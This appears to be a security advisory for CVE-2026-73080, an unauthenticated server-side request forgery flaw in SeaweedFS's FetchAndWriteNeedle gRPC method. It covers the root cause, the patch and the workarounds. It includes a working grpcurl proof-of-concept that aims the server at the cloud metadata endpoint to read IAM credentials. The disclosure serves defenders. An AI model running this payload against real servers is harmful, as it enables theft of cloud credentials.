critical · 9.3CVE-2026-73080Aug 11, 2026

CVE-2026-73080: SeaweedFS Unauthenticated SSRF via VolumeServer.FetchAndWriteNeedle

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any unauthenticated user who can reach a SeaweedFS volume server's gRPC port can force the server to fetch any URL, including cloud metadata endpoints, and read the response back, exposing IAM…

Packagegithub.com/seaweedfs/seaweedfs
Ecosystemgo
Affected< 0.0.0-20260512171120-69da20bdaec9
Fixed in0.0.0-20260512171120-69da20bdaec9
CVE-2026-73080: SeaweedFS Unauthenticated SSRF via VolumeServer.FetchAndWriteNeedle

The problem

The FetchAndWriteNeedle gRPC method in weed/server/volume_grpc_remote.go accepted a caller-supplied source URL and fetched it with no authentication check and no destination validation.

The volume server gRPC plane is unauthenticated by default, so no credentials are needed. Even enabling JWT signing keys does not protect this RPC, because that hardening path does not cover FetchAndWriteNeedle. On cloud deployments this directly exposes the IMDS endpoint at 169.254.169.254, leaking IAM credentials.

Proof of concept

A working proof-of-concept for CVE-2026-73080 in github.com/seaweedfs/seaweedfs, with the exact payload below.

bash
# Send a FetchAndWriteNeedle gRPC request via grpcurl, targeting the AWS IMDS endpoint.
# The server fetches the URL and returns the body in the response.
grpcurl -plaintext \
  -d '{
    "volume_id": 1,
    "needle_id": "1",
    "cookie": 0,
    "source_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "collection": "",
    "replication": "",
    "replicas": []
  }' \
  <VOLUME_HOST>:18080 \
  volume_server_pb.VolumeServer/FetchAndWriteNeedle

The root cause is a missing authorization guard and a missing SSRF-safe dialer on the FetchAndWriteNeedle handler. Before the patch, the handler resolved and fetched source_url directly via Go's default HTTP client, which follows redirects and connects to any reachable address.

The patch (PR #9441, commit 69da20b) adds two controls: an admin-auth check that rejects callers without a valid admin credential, and a guarded dialer that resolves the destination hostname itself, pins the resolved IP for the connection, and refuses addresses in loopback, link-local, RFC 1918, and IMDS ranges.

This also defeats DNS-rebinding by pinning the address at dial time rather than re-resolving on connect.

CWE-918 (Server-Side Request Forgery): the server makes network requests to an attacker-controlled destination and returns the response body to the caller.

The fix

Upgrade to SeaweedFS 4.24 (Go module pseudo-version 0.0.0-20260512171120-69da20bdaec9 or later). As a workaround, restrict volume server gRPC ports (default 18080) to trusted hosts via firewall or network policy, and enable mTLS using security.toml. Note that JWT signing keys alone do NOT mitigate this RPC.

Reported by chrislusf (SeaweedFS maintainer).

References: [1][2][3][4][5]

Related research